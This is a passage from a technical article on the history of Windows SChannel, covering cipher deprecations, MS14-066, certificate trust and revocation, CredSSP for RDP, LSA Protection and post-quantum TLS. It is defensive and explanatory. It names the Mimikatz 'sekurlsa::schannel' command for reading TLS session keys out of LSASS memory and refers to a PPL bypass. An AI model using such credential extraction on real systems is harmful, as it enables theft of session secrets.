Microsoft moved 3DES cipher suites to off-by-default starting with Windows 10 version 1903 (May 2019 Update). The exact pivot is visible in the per-OS Microsoft Learn cipher-suite tables: TLS_RSA_WITH_3DES_EDE_CBC_SHA appears in the default-enabled list for Windows 10 v1709 and was removed from the default-enabled list for v1903 onward [@ms-learn-cipher-suites-schannel][@ms-learn-tls-cipher-suites-server-2022]. The registry-toggle mechanism is the same SCHANNEL\Ciphers\<algorithm>\Enabled shape that has been in place since the XP era [@ms-learn-tls-registry-settings]. Crucially, no application changed -- IIS, SQL Server, and SslStream simply stopped negotiating 3DES because the cipher list no longer offered it.

G4 -- SHA-1 sunset (2016 to 2022)

SHA-1 deprecation in SChannel was not a single registry flip; it was a coordinated rotation across the certificate trust pipeline (covered in Section 7), the handshake signature suite, and the trust-store membership of root CAs that issued SHA-1 leaves. Two cryptographic indictments did the load-bearing work. The first was protocol-level: SLOTH (Bhargavan and Leurent, NDSS 2016 [@mitls-sloth][@iacr-eprint-sloth]) showed that an attacker able to compute MD5 or SHA-1 transcript-hash collisions could impersonate one party to the other inside TLS 1.2's client-authenticated handshake by forging matching CertificateVerify signatures -- a direct attack on authentication, not on the primitive's collision resistance in the abstract. The second was primitive-level: SHAttered (Stevens, Bursztein, Karpman, Albertini, Markov; February 2017 [@iacr-eprint-shattered]) supplied the concrete colliding PDF pair that closed the public debate about SHA-1's safety margin, published as IACR ePrint 2017/190. Two indictments together -- protocol-level via SLOTH, primitive-level via SHAttered -- is the empirically-correct framing for the SHA-1 retirement timeline.

For SChannel specifically the rotation was: SHA-256 / SHA-384 handshake signatures for new connections; chain-engine policy stops accepting SHA-1 leaves for id-kp-serverAuth; and the Microsoft Trusted Root Program distrust events that retired SHA-1 code-signing and TLS certificates from authrootstl.cab over 2016 to 2022. Section 7 walks the trust pipeline in detail; for the agility argument what matters is that none of these required an SslStream change.

G5 -- TLS 1.0 / 1.1 disablement (2020 to 2025)

Microsoft's rollout used the registry pattern from Section 3. Per-application disablement first -- IE 11, Edge legacy, .NET via ServicePointManager.SecurityProtocol, individual server roles -- then OS-level defaults in 2024 and 2025 [@ms-learn-tls-registry-settings]. The TLS 1.0 / 1.1 lifecycle is the article's clearest data point on the difference between "the substrate can rotate" and "the world will move" (Section 11 returns to this).

The TLS 1.3 side of G5 -- the positive half of the protocol-version rotation -- shipped default-on in Windows Server 2022 (GA August 2021) and Windows 11 (GA October 5, 2021). Windows 10 and Server 2019 SChannel remain TLS 1.2 only [@ms-learn-tls-cipher-suites-server-2022]. The three TLS 1.3 AEAD suites (TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256) [@rfc-8446] became the default lineup -- another row of new entries in the cipher-suite registry, with the BCrypt providers behind them already shipping.

Five rotations, zero application source changes. But one episode from the same era did break the calm -- a parsing-path remote code execution in SChannel itself, published on Patch Tuesday in November 2014, that the press still routinely confuses with Heartbleed [@ms14-066]. The agility substrate did not protect Windows from that one.

6. MS14-066 / WinShock: What Happened, What It Was Not

If you searched "SChannel 2014 vulnerability" in late 2014 you got two stories blended together: Heartbleed (April) and the November SChannel RCE everyone called WinShock. They are not the same story. They are not the same vulnerability. They are not even the same vendor. The blending is the single most-misremembered SChannel event, and this article exists in part to set the record straight.

What MS14-066 actually was

On Patch Tuesday, November 11, 2014, Microsoft published Security Bulletin MS14-066 -- "Vulnerability in Schannel Could Allow Remote Code Execution (2992611)" [@ms14-066]. The vulnerability identifier was CVE-2014-6321. The bulletin's first sentence reads, verbatim:

This security update resolves a privately reported vulnerability in the Microsoft Secure Channel (Schannel) security package in Windows. The vulnerability could allow remote code execution if an attacker sends specially crafted packets to a Windows server. -- Microsoft Security Bulletin MS14-066, November 11, 2014 [@ms14-066]

The technical character of the bug was a pre-authentication remote code execution in SChannel's TLS message-parsing path. The NVD record summarises it as "Schannel in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via crafted packets" [@nvd-cve-2014-6321]. US-CERT issued Alert TA14-318A confirming the severity and noting the wide platform coverage [@uscert-ta14-318a]; CERT/CC published vulnerability note VU#505120 with the same substance [@certcc-vu505120]. The bulletin was disclosed under coordinated vulnerability disclosure on the standard Patch Tuesday cadence; IBM X-Force researcher Robert Freeman is publicly credited as the discoverer. The "privately reported" phrasing in MS14-066 [@ms14-066] is Microsoft's standard nomenclature for coordinated-disclosure intake, not a claim that the discovery was internal to Microsoft.

What MS14-066 was not

It was not Heartbleed. Heartbleed (CVE-2014-0160), disclosed April 7, 2014, was a flaw in OpenSSL's TLS Heartbeat extension code path [@nvd-cve-2014-0160]. The bug let an attacker over-read OpenSSL process memory by sending a Heartbeat request whose declared payload length exceeded the actual payload. SChannel does not implement the OpenSSL Heartbeat extension; that code simply did not exist in schannel.dll. Microsoft's MSRC publicly noted in April 2014 that Microsoft Services were not affected by the Heartbleed vulnerability -- the substance held because the affected codebase was OpenSSL's, not Microsoft's [@nvd-cve-2014-0160].The original April 2014 MSRC blog post stating SChannel was unaffected by Heartbleed has migrated and renders only its page chrome today. The substance is independently anchored by the NVD record for CVE-2014-0160, which explicitly scopes the vulnerability to OpenSSL 1.0.1 through 1.0.1f.

It was not "silently patched," at least not at the headline level. CVE-2014-6321 had a public Patch Tuesday bulletin, contemporary Krebs and NVD coverage, US-CERT and CERT/CC alerts, and proof-of-concept walkthroughs from BeyondTrust and Security Sift within months [@certcc-vu505120][@uscert-ta14-318a]. The "silently patched" framing in the press is the residue of a real but narrower fact: the same KB shipped additional Schannel hardening fixes that were not separately bulletined.The "silently patched" framing of MS14-066 is itself the residue of a real fact -- the November 11, 2014 KB included Schannel hardening fixes that were not separately bulletined. The headline CVE itself was very much public, and the discovery is publicly credited to IBM X-Force researcher Robert Freeman under coordinated vulnerability disclosure. This article does not assign specific CVE IDs to the bundled hardening extras, in line with the project's premise-audit discipline.

What it occasioned

Three lasting effects of MS14-066 are worth naming.

First, the cipher-suite expansion in the same KB. The patch bundled new TLS 1.2 cipher suites (the ECDHE-RSA suites that Windows 7 and Server 2008 R2 had partially supported, broadened across the entire then-supported family). Some operators were caught off guard by the new lineup; the registry-toggle pattern from Section 3 was what got them out of the bind.

Second, a measurable uptick in external SChannel fuzzing. After 2014, the public TLS-stack-testing community treated SChannel as a first-class target, not as a closed-source black box no one could meaningfully probe. The most visible artifact is Hubert Kario's TLS-Fuzzer at Red Hat -- a test suite that, in the project's own framing, "doesn't check only that the system under test didn't crash, it checks that it returned correct error messages" [@tlsfuzzer-github]. Section 11 returns to TLS-Fuzzer as the closest public substitute for a behavioural specification of SChannel.

Third, the lesson the substrate could not absorb: algorithm-agility does not extend to the parsing path. The wire-format state machine has to be correct because no provider model can fix a bug in schannel.dll itself. CNG could rotate primitives without rewriting SChannel; CNG could not rotate SChannel's TLS message parser. That asymmetry is structural and remains true today.

What it was not, part two: not the trigger for SymCrypt

Some narratives connect MS14-066 to a "SChannel rewrite" or a "FIPS rewrite" project that followed. The dates do not support either framing. SymCrypt was started by Niels Ferguson in late 2006, with the first sources committed in February 2007 [@symcrypt-github] -- seven years before Heartbleed and eight years before MS14-066. SymCrypt became the primary library for symmetric algorithms with Windows 8 (October 2012, before MS14-066) and the primary library for all algorithms across Windows starting with the Windows 10 1703 release in March 2017. Open-sourcing followed under the MIT license in July 2019 [@symcrypt-github]. The honest story is that SymCrypt was the maturation of CNG's primitive layer over a decade; it had no causal relationship to either 2014 disclosure.

This article refuses to assert any causal link between Heartbleed and SymCrypt because the timeline does not support it. SymCrypt began in late 2006; Heartbleed was disclosed in April 2014. SymCrypt's role as the Windows-wide primary crypto library lands with Windows 10 1703 in March 2017 [@symcrypt-github]. Conflations of this kind are how the security-pop-press version of history overwrites the engineering version. The agility argument is stronger, not weaker, when the actual causal chains are preserved.

MS14-066 taught Microsoft that the substrate's algorithm-agility property does not extend to the parsing path -- the wire-format state machine has to be correct because no provider model can fix a bug in schannel.dll itself. The next section turns to the other load-bearing path: not the bytes on the wire, but the certificate the server presents to authenticate.

7. The Certificate-Validation Pipeline: `CertGetCertificateChain`, OCSP, and the Microsoft Trusted Root Program

The other half of any TLS handshake is trust. Bytes can be encrypted with the strongest AEAD in the SymCrypt CHANGELOG and the handshake can use a quantum-resistant key exchange -- and the whole exchange still means nothing if the certificate the server presents traces back to an attacker-controlled CA. On Windows, that whole question routes through one API: CertGetCertificateChain.

The chain engine

CertGetCertificateChain walks from leaf to trusted root using Authority Key Identifier / Subject matching, fetches any missing intermediates via the certificate's Authority Information Access (AIA) caIssuers URL, and resolves against the local Microsoft Trusted Root Store. The store itself is kept current through the crypt32.dll auto-update mechanism, which downloads a signed authrootstl.cab periodically and updates the trust list in place.

Per-certificate checks follow the X.509 PKI profile (RFC 5280, May 2008) [@rfc-5280]:

Signature verification -- each cert is signed by the next-up cert's private key.
Validity -- notBefore / notAfter within the current time.
Key Usage and Extended Key Usage -- the leaf must include id-kp-serverAuth (1.3.6.1.5.5.7.3.1) for a TLS server presentation, and the chain's intermediates must permit serverAuth in their EKU constraints if they declare any.
Basic Constraints -- non-leaf certs must have cA=TRUE.
Name Constraints -- per RFC 5280 §4.2.1.10, intermediates may declare permittedSubtrees and excludedSubtrees over DNS names, IP ranges, and other name forms; the chain engine enforces these against the leaf's SAN.
Revocation -- per-cert, against the chosen revocation source.

CertVerifyCertificateChainPolicy then layers protocol-specific overlays on top of that purely structural validation. The most important for TLS is CERT_CHAIN_POLICY_SSL, which adds the SNI / SAN hostname match and TLS-specific server-auth constraints.

flowchart TD A["Leaf certificate from TLS handshake"] --> B["Chain engine -- CertGetCertificateChain"] B --> C{"Path build via AKI / SKI matching, AIA caIssuers fetch"} C --> D["Per-cert structural checks (RFC 5280)"] D --> E{"Revocation source"} E --> F[CRL distribution point] E --> G[OCSP responder] E --> H[OCSP stapled response] D --> I["CertVerifyCertificateChainPolicy"] I --> J{"CERT_CHAIN_POLICY_SSL -- SNI / SAN match, serverAuth EKU"} J --> K[Chain valid for TLS server] F --> I G --> I H --> I

Revocation: CRL, OCSP, OCSP stapling

The **Online Certificate Status Protocol** (RFC 6960) lets a client ask the issuing CA's OCSP responder whether a specific certificate is revoked, by serial number [@rfc-6960]. Plain OCSP is a separate request to the CA on every connection, which leaks visited hostnames to the CA and adds latency. **OCSP stapling** lets the server fetch a fresh signed OCSP response on a schedule and "staple" it into the TLS handshake via the `status_request` extension -- the client gets the same revocation proof without the side channel. SChannel consumes stapled OCSP responses through the `status_request` extension (RFC 6066 §8 for TLS 1.2, RFC 8446 §4.4.2.1 for TLS 1.3 [@rfc-8446]) and feeds the result into the chain engine.

A practical SChannel deployment combines CRL fetching, OCSP, and OCSP stapling: stapling preferred when present, OCSP fallback when not, CRL as the long-tail safety net. IIS's stapling support is on by default in modern releases; turning it off is the wrong default for any internet-facing endpoint.

The Microsoft Trusted Root Program and the CCADB

SChannel's trust posture inherits the Microsoft Trusted Root Program's membership decisions. Microsoft does not run the trust program in isolation. It participates in the Common CA Database (CCADB) alongside Mozilla, Google, and Apple, sharing root inclusion / removal / audit data across the major root stores [@ccadb-resources]. The CCADB Resources page lists the public extractions (Microsoft's TLS roots, Mozilla's TLS roots, code-signing roots, S/MIME roots) and the program-specific report URLs.

The governance flow is documented end-to-end on the Microsoft Trusted Root Program program-requirements page [@ms-trusted-root-program-requirements]. Membership requires annual WebTrust or ETSI EN 319 411 audits, full CCADB disclosure of the PKI hierarchy, and adherence to the technical requirements (minimum key sizes, signature-algorithm policy, extension constraints, name-form profiles). Distrust decisions can be triggered by (a) CCADB-coordinated cross-vendor consensus where Microsoft acts alongside Mozilla, Apple, and Google; (b) unilateral Microsoft action when the program judges a CA below the bar; or (c) audit-failure findings that fail to remediate inside an agreed window.

Propagation to Windows clients goes through two signed trust lists distributed via the Automatic Root Update mechanism: authrootstl.cab carries the currently-trusted roots together with per-EKU enablement bits, and disallowedcertstl.cab is the explicit untrust list. Both are fetched by crypt32.dll from http://ctldl.windowsupdate.com/... on a periodic schedule and consumed by the chain engine on its next chain build. The SChannel SSP itself does not maintain a separate trust list; it inherits whatever CertGetCertificateChain resolves against the auto-updated stores.

flowchart TB A[CA submits audit, CCADB disclosure, technical compliance] --> B[Microsoft Trusted Root Program review] B --> C{"Decision -- include, distrust, NotBefore-date schedule"} C --> D[CCADB cross-vendor coordination -- Mozilla, Apple, Google] C --> E[authrootstl.cab updates] C --> F[disallowedcertstl.cab updates] E --> G[ctldl.windowsupdate.com distribution] F --> G G --> H[crypt32.dll Automatic Root Update on client] H --> I[CertGetCertificateChain consults updated stores] I --> J[SChannel SSP handshake trust decision]

Two worked examples: DigiNotar (2011) and Symantec (2018)

The MTRP governance flow looks abstract until two real distrust events make it concrete.

DigiNotar -- August / September 2011 -- panic-mode revocation. Microsoft Security Advisory 2607712 ("Fraudulent Digital Certificates Could Allow Spoofing") was published on August 29, 2011 and updated through September 19 to version 5.0 [@ms-advisory-2607712-diginotar]. The Dutch CA DigiNotar's signing infrastructure had been breached by an attacker who issued fraudulent certificates for *.google.com and other high-value names. Microsoft, Mozilla, Apple, and Google removed DigiNotar's roots from their trust stores within days. The Microsoft-side propagation pushed the DigiNotar Root CA out of authrootstl.cab and added the relevant entries to disallowedcertstl.cab; clients on the Automatic Root Update pipeline picked up the change within the next refresh cycle. SChannel's chain engine then refused to validate any leaf signed under the DigiNotar hierarchy -- not because SChannel changed, but because the trust store it consults changed underneath it.

Symantec deprecation -- October 2018 -- planned per-NotBefore-date schedule. The Symantec distrust is the cleanest published example of how a CCADB-coordinated planned deprecation differs from a panic-mode revocation. Microsoft's October 4, 2018 Security Blog post documents the four-vendor (Microsoft, Mozilla, Apple, Google) coordinated schedule, keyed on the certificate's NotBefore date rather than on the root itself: per the per-root table in the blog post, the relevant cut-overs were September 30, 2018; January 31, 2019; and January 1, 2020 [@ms-blog-symantec-distrust]. Certificates issued before the per-root NotBefore date stayed trusted to their natural expiration; certificates issued after were rejected. The mechanism on the SChannel side is unchanged from DigiNotar -- the chain engine reads the updated trust posture from authrootstl.cab / disallowedcertstl.cab and applies it on the next chain build -- but the operational character is completely different: a years-long planned phase-out instead of a week-long emergency cleanup.

Note: A panic-mode distrust (DigiNotar) removes a root outright and propagates over days. A planned distrust (Symantec) uses NotBefore dates to grandfather pre-existing certificates while rejecting new ones, propagates over months to years, and gives the broader industry time to migrate. Both flow through the same authrootstl.cab / disallowedcertstl.cab plumbing. The governance subtlety lives in which kind of distrust the program issues for a given CA's circumstances.

Enterprise observability: CAPI2/Operational event IDs

The governance flow ends at the operator's host -- but only if the operator can see it land. The Microsoft Learn troubleshooting article on the May 24, 2022 removal of the U.S. Federal Common Policy CA "G1" root carries the canonical observability recipe [@ms-learn-fcpca-removal]. On any Windows host you can enable the per-event tracing channel with wevtutil sl Microsoft-Windows-CAPI2/Operational /e:true and then watch the Event Viewer under Applications and Services Logs > Microsoft > Windows > CAPI2 > Operational for the chain-engine events that the FCPCA-removal article enumerates verbatim [@ms-learn-fcpca-removal]: Event ID 90 logs every certificate consulted during chain building, Event ID 11 records chain-build failures, Event ID 30 records SSL or NTAuth policy-layer failures, Events 40-43 show stored CRLs and AIA paths, and Events 50-53 show network CRL accesses. The same article documents the empirical post-distrust propagation window in plain language: "Applications and operations that depend on the 'G1' root certificate will fail one to seven days after they receive the root certificate update." That one-to-seven-day window is the realistic latency budget between an MTRP distrust event landing in authrootstl.cab and a given Windows host actually applying it -- a fingerprint operators can validate per host, not just per the rollout calendar.

The PowerShell complement is brief and worth keeping in the muscle memory: Get-ChildItem Cert:\LocalMachine\AuthRoot enumerates the currently-trusted roots; Get-ChildItem Cert:\LocalMachine\Disallowed enumerates the disallowed store; both reflect whatever the last crypt32.dll Automatic Root Update cycle left in place.

A cautionary tale: CVE-2020-0601, "Curveball"

In January 2020 the NSA disclosed a chain-engine spoofing vulnerability in crypt32.dll's ECC certificate validation [@nvd-cve-2020-0601][@nsa-curveball-alternative]. The bug let an attacker craft a fraudulent ECC certificate that the Windows chain engine would treat as having been signed by a trusted root, by failing to fully verify the curve parameters against the cached trusted root's curve. Curveball is strictly a crypt32.dll bug, not a SChannel SSP bug -- but it shaped the SChannel posture in two ways. First, it demonstrated that the chain engine and the SSP are equally load-bearing for "is this TLS connection trustworthy?" Second, it was the most prominent example of the NSA disclosing a Windows vulnerability via the regular MSRC channel rather than hoarding it. Microsoft's January 2020 Patch Tuesday cycle addressed CVE-2020-0601 ahead of any public proof-of-concept.

Note: The agility property the rest of this article celebrates is a property of CNG and SChannel. The trust pipeline -- CertGetCertificateChain, CertVerifyCertificateChainPolicy, the trust-store update mechanism in crypt32.dll -- is a parallel concern. A perfectly executed TLS 1.3 handshake against a trusted-looking certificate that is actually fraudulent is still a compromise. Curveball is the canonical reminder that audit posture for SChannel-served endpoints has to cover both halves.

Certificate validation is the other axis on which SChannel has had to evolve. With the substrate (Sections 4 through 6) and the trust pipeline (this section) both stabilised, the article now turns to what "modern SChannel" actually looks like in the field -- TLS 1.3 on by default, TPM-backed server keys available for compliance scenarios, and the LSA-protection moat that makes session-key extraction harder than it used to be.

8. Modern SChannel: TLS 1.3, CredSSP for RDP, TPM-Backed Keys, and the LSASS Moat

By mid-2026 a default Windows 11 or Server 2022 / 2025 box is doing things its 2019 equivalent could not. TLS 1.3 is on. CredSSP wraps the RDP credential-delegation path inside a SChannel-protected TLS tunnel [@ms-cssp-landing]. The TPM is available as a key custodian. LSASS is a Protected Process; on most newer Windows 11 builds, Credential Guard is on by default. These are not four independent stories; they are four layers of the same defence-in-depth posture for the modern SChannel-served TLS endpoint.

TLS 1.3 in SChannel

RFC 8446 (Eric Rescorla, Mozilla, August 2018) [@rfc-8446] is the protocol generation that SChannel finally ships default-on in Windows Server 2022 (GA August 2021) and Windows 11 (GA October 5, 2021). Windows 10 and Windows Server 2019 SChannel remain TLS 1.2 only -- a fact worth naming because it is the most common cause of confusion in mixed-version Windows fleets [@ms-learn-tls-cipher-suites-server-2022].

What changed at the wire-format level matters less for SChannel than how cleanly the changes mapped through CNG. TLS 1.3 shrank the cipher-suite menu to three AEAD suites: TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, and TLS_CHACHA20_POLY1305_SHA256 [@rfc-8446]. The key-share namespace separated from the cipher-suite namespace -- supported_groups (X25519, secp256r1, secp384r1, and now X25519MLKEM768) is an independent extension from cipher_suites. The handshake collapsed to one round trip.The 0-RTT (early data) feature of TLS 1.3 trades a round trip for replay-resistance complexity. SChannel's posture on 0-RTT is conservative: clients can request it, servers default to off unless explicitly opted in, and the documentation flags the replay-protection trade-offs.

The downgrade-resistance sentinel in ServerHello.random (RFC 8446 §4.1.3) is worth a beat. A TLS 1.3 server that, for whatever reason, is negotiated down to TLS 1.2 or below by middlebox interference fills the last eight bytes of its ServerHello.random with one of two well-known sentinels (44 4F 57 4E 47 52 44 01 for "downgraded from 1.3 to 1.2"; 44 4F 57 4E 47 52 44 00 for "downgraded from 1.3 to 1.1 or earlier"). A genuinely TLS 1.3-capable client checks for the sentinel after the handshake and aborts on mismatch. This puts the active-downgrade-attack envelope inside TLS 1.3 at a much narrower place than it was in TLS 1.2.

sequenceDiagram participant App as Application participant SC as SChannel SSP participant CNG as BCrypt / NCrypt participant Peer as Remote endpoint

App->>SC: AcquireCredentialsHandle (server cert, key handle)
App->>SC: InitializeSecurityContext (first call)
SC->>CNG: BCrypt ECDH or MLKEM key share
SC->>Peer: ClientHello (cipher_suites, supported_groups, key_share)
Peer-->>SC: ServerHello, EncryptedExtensions, Certificate, CertVerify, Finished
SC->>CNG: NCryptSignHash or NCrypt key derive
SC->>App: SECBUFFER tokens, then SEC_E_OK
App->>SC: EncryptMessage and DecryptMessage on every record

CredSSP and the Remote Desktop NLA path

The SSPI provider in `credssp.dll` that securely delegates Windows credentials from a client to a target server inside a TLS-protected tunnel. CredSSP is the SSP that backs Remote Desktop Network Level Authentication (RDP NLA): it wraps a SChannel TLS handshake, tunnels an SPNEGO / Kerberos / NTLM authentication inside that tunnel, performs a channel-binding hash exchange, and finally transmits the user's credential material to the destination encrypted under the SSPI session key [@ms-cssp-landing][@ms-cssp-glossary].

The Microsoft Open Specifications page for the Credential Security Support Provider Protocol ([MS-CSSP], version 21.0, April 2024) [@ms-cssp-landing] defines the protocol that backs Remote Desktop NLA. CredSSP is not a TLS protocol of its own; it is an SSP that uses SChannel as its transport. The relationship is structural -- CredSSP is one of the most consequential consumers of SChannel inside Windows, and almost every RDP session opened against a modern Windows host runs the CredSSP-over-SChannel sequence before the RDP video stream even starts.

The five-step CredSSP-over-TLS sequence per the open-spec "Processing Events and Sequencing Rules" page [@ms-cssp-sequencing]:

TLS handshake. The CredSSP client and CredSSP server complete the SChannel TLS handshake; only the server presents a certificate, so the TLS-layer client is anonymous. After this step, all subsequent CredSSP messages are encrypted by the TLS channel. The MS-CSSP spec is explicit that "the CredSSP Protocol does not extend the TLS wire protocol" and that "TLS session resumption is not supported" [@ms-cssp-sequencing].
SPNEGO / Kerberos / NTLM tunnelled inside TLS. Authentication tokens are carried in the negoTokens field of the protocol's TSRequest ASN.1 structure. The negotiation is performed by the SSPI Negotiate provider, which usually selects Kerberos when the client is domain-joined and falls back to NTLM otherwise.
Public-key (channel-binding) hash exchange. This is the post-CVE-2018-0886 mechanism. The client computes a SHA-256 hash over a fixed magic string concatenated with a nonce and the server's SubjectPublicKey, encrypts that hash under the SSPI session key established in step 2, and sends it in the pubKeyAuth field of TSRequest. The earlier (v2 / v3 / v4) "encrypt the public key + 1" scheme that was broken by CVE-2018-0886 has been replaced by this channel-binding hash for protocol versions 5 and 6 of CredSSP.
Server-side hash response with the server magic. The server computes its own version of the hash (using a different fixed magic string for the server-to-client direction), encrypts it under the session key, and returns it in its own pubKeyAuth. Both sides have now proven they hold the same session key bound to the same server public key, which closes a class of man-in-the-middle attacks against the inner authentication.
Encrypted credential transfer in authInfo. The credentials themselves -- a TSPasswordCreds, TSSmartCardCreds, or TSRemoteGuardCreds structure depending on the chosen logon style -- are encrypted under the SSPI session key and transmitted in the authInfo field. The destination decrypts them inside lsass.exe (a PPL-protected process when RunAsPPL is enabled, see below), and the operating system then uses them to log the user on.

sequenceDiagram participant Client as RDP client participant Server as RDP server Note over Client,Server: Step 1 -- SChannel TLS handshake, server cert only, client anonymous at TLS layer Client->>Server: ClientHello Server-->>Client: ServerHello, Certificate, ServerHelloDone (TLS 1.2) or one-RTT TLS 1.3 equivalent Client->>Server: Finished -- TLS tunnel up Note over Client,Server: Step 2 -- SPNEGO Kerberos or NTLM tokens inside TSRequest.negoTokens, all inside TLS Client->>Server: TSRequest with negoTokens (Kerberos AP-REQ or NTLM Type 1) Server-->>Client: TSRequest with negoTokens (Kerberos AP-REP or NTLM Type 2 then 3) Note over Client,Server: Step 3 -- channel-binding hash, client side (replaces broken pre-CVE-2018-0886 scheme) Client->>Server: TSRequest.pubKeyAuth -- E(sessionKey, SHA256(client-magic, nonce, server SubjectPublicKey)) Note over Client,Server: Step 4 -- server-side hash response with server-magic Server-->>Client: TSRequest.pubKeyAuth -- E(sessionKey, SHA256(server-magic, nonce, server SubjectPublicKey)) Note over Client,Server: Step 5 -- encrypted credentials in TSRequest.authInfo Client->>Server: TSRequest.authInfo -- E(sessionKey, TSPasswordCreds or TSSmartCardCreds or TSRemoteGuardCreds) Note over Server: lsass.exe decrypts, logs the user on

The NLA threat-model framing per the archived Server 2008 R2 TechNet content is worth quoting because it captures what NLA actually buys [@ms-archive-nla]. NLA forces user authentication before RDP session resources are allocated: "It requires fewer remote computer resources initially. The remote computer uses a limited number of resources before authenticating the user, rather than starting a full remote desktop connection as in previous versions. It can help provide better security by reducing the risk of denial-of-service attacks." The two concrete payoffs are pre-auth DoS resistance and pre-auth RDP-codepath RCE mitigation. BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1181 / 1182) would each have been substantially harder to exploit on NLA-enabled hosts because the vulnerable RDP code paths sit behind the NLA gate. NLA has been on by default for RDP Session Hosts since Windows Server 2012 R2.

Note: A naive TLS-only deployment authenticates the server to the client via the server certificate, and authenticates the user in plaintext above TLS. CredSSP adds a second layer: the user's authentication runs inside the TLS tunnel via SPNEGO / Kerberos / NTLM, and the user's credentials -- if delegated at all -- are encrypted under a session key that is channel-bound to the server's public key. With Remote Credential Guard (TSRemoteGuardCreds), the destination's plaintext-credential exposure can be reduced to zero -- the destination receives only a service ticket usable for the session, not a reusable password hash.

TPM-backed server keys via the Microsoft Platform Crypto Provider

The Microsoft Platform Crypto Provider (PCP) is a KSP that stores private keys non-exportable inside TPM 2.0. For an IIS or SslStream server, switching to a PCP-backed certificate means the certificate's private key never resides in software memory; CertificateVerify signing during the handshake dispatches through NCryptSignHash to PCP to TPM2_Sign.

Two caveats need stating plainly. First, PCP-backed key operations are slower than software-backed key operations -- TPM 2.0 ECDSA / RSA signing latency is in the tens of milliseconds, which is a hard cap on handshake throughput. A high-volume edge IIS workload cannot meet its handshake-rate SLA with TPM-backed keys. Second, production prevalence of PCP-backed server keys remains low outside specific compliance scenarios. The capability is shipping; the typical pattern is software-backed keys at the edge and TPM-backed keys for long-lived service-identity certificates where the latency does not dominate.TPM 2.0 signing latency is the ceiling for TPM-backed TLS handshake throughput. A high-volume IIS edge cannot meet handshake-rate SLAs with TPM-backed keys; that is why the typical pattern is software-backed keys at the edge and TPM-backed keys for service identity at lower call rates.

LSA Protection (RunAsPPL) and Credential Guard

A Windows process-protection lattice where a "protected" process can be opened for certain rights only by callers whose protection level is greater than or equal to the target's. When LSASS runs as a PPL (via `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL`), a non-PPL caller's `OpenProcess(LSASS, PROCESS_VM_READ, ...)` returns `ERROR_ACCESS_DENIED`. PPL is a same-privilege gate: it operates entirely inside Virtual Trust Level 0 (VTL0), the normal kernel/user world [@ms-learn-lsa-protection][@itm4n-runasppl].

LSASS holds the cleartext session keys SChannel derives for each active TLS connection. Historically Mimikatz's sekurlsa::schannel command read those keys directly out of LSASS memory after a debug-privilege OpenProcess. Once RunAsPPL is enforced, the read fails: a non-PPL Mimikatz cannot open LSASS for memory read [@ms-learn-lsa-protection].

Clément Labro's RunAsPPL analysis (itm4n) is the canonical practitioner's text on the gotchas [@itm4n-runasppl]. The single most important framing point Labro makes is the disambiguation between PPL and Credential Guard:

When it comes to protecting against credentials theft on Windows, enabling LSA Protection (a.k.a. RunAsPPL) on LSASS may be considered as the very first recommendation to implement... Credential Guard and LSA Protection are actually complementary. -- Clément Labro, *Do You Really Know About LSA Protection (RunAsPPL)?* [@itm4n-runasppl]

The disambiguation matters because the two mechanisms operate at different layers. PPL is a same-privilege gate inside VTL0. Credential Guard moves credential material into the LSAIso trustlet at VTL1, behind the VBS / Hyper-V boundary -- a cross-privilege isolation that PPL cannot provide [@ms-learn-credential-guard]. The misconception that Credential Guard alone defeats mimikatz sekurlsa::schannel is one of the most common operator errors in this space. They stack. They are not substitutes.

flowchart TB subgraph VTL0["VTL0 -- Normal World"] subgraph User["User mode"] App["Mimikatz / arbitrary code -- non-PPL"] end subgraph Kern["Kernel mode (NT kernel)"] LSASS["LSASS -- PPL when RunAsPPL=1"] SCh[schannel.dll loaded in LSASS] end end subgraph VTL1["VTL1 -- Isolated User Mode (VBS)"] LSAIso["LSAIso trustlet -- Credential Guard"] end App -. "OpenProcess(LSASS, VM_READ) -- denied when PPL on" .-> LSASS LSASS -. "RPC to LSAIso for credential ops" .-> LSAIso SCh --> LSASS

The last open question on RunAsPPL is whether the protection itself is bypassable. The honest answer is "less so than it used to be." Labro's follow-up "The End of PPLdump" walks through how a 2021-era SymLink + KnownDlls trick that defeated PPL was patched, and how the post-patch PPL invariant holds for current Windows servicing branches [@itm4n-ppldump]. Combined with HVCI and VBS-on-by-default in newer Windows 11 builds, the modern SChannel session key is genuinely harder to lift than it was in 2019.

Operators frequently set `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1` and stop there. Microsoft's Configure-Added-LSA-Protection doc walks through the additional values (`RunAsPPLBoot` for the boot-level enforcement, the corresponding UEFI variable for tamper resistance) that complete the posture [@ms-learn-lsa-protection]. The minimum recommended configuration is not a single value in a single hive; reading the official doc end to end is faster than rediscovering this from a bug report.

Modern SChannel is the substrate plus the trust pipeline plus the CredSSP RDP wrapper plus the LSASS moat. The one piece still in flight as of mid-2026 is the cryptographic primitive nobody had in 2009 -- the post-quantum hybrid key exchange.

9. The Post-Quantum Pivot: ML-KEM, SymCrypt, and Hybrid TLS 1.3

On August 13, 2024, NIST published FIPS 203 -- the standard for ML-KEM, the first quantum-resistant key-encapsulation mechanism the United States government endorses for production use [@fips-203]. The standard defines three parameter sets (ML-KEM-512, ML-KEM-768, ML-KEM-1024) with security grounded in the Module Learning With Errors problem. The SymCrypt CHANGELOG entry for v103.5.0 reads, verbatim: "Add ML-KEM per final FIPS 203" [@symcrypt-changelog]. That single line is what the receipts on Microsoft's twenty-year algorithm-agility bet look like in the present tense.

A **KEM** is a public-key construction that, given a recipient's public key, produces a (ciphertext, shared-secret) pair such that the recipient can recover the shared secret from the ciphertext using its private key. ML-KEM is the NIST-standardised KEM derived from the CRYSTALS-Kyber proposal; ML-KEM-768 generates a 1184-byte public key and a 1088-byte ciphertext and produces a 32-byte shared secret. FIPS 203 [@fips-203] is the final standard; SymCrypt v103.5.0 is the first SymCrypt release shipping ML-KEM per that standard [@symcrypt-changelog].

What is shipping

The PQC primitives Microsoft has rolled into SymCrypt are publicly tracked in the project CHANGELOG [@symcrypt-changelog]:

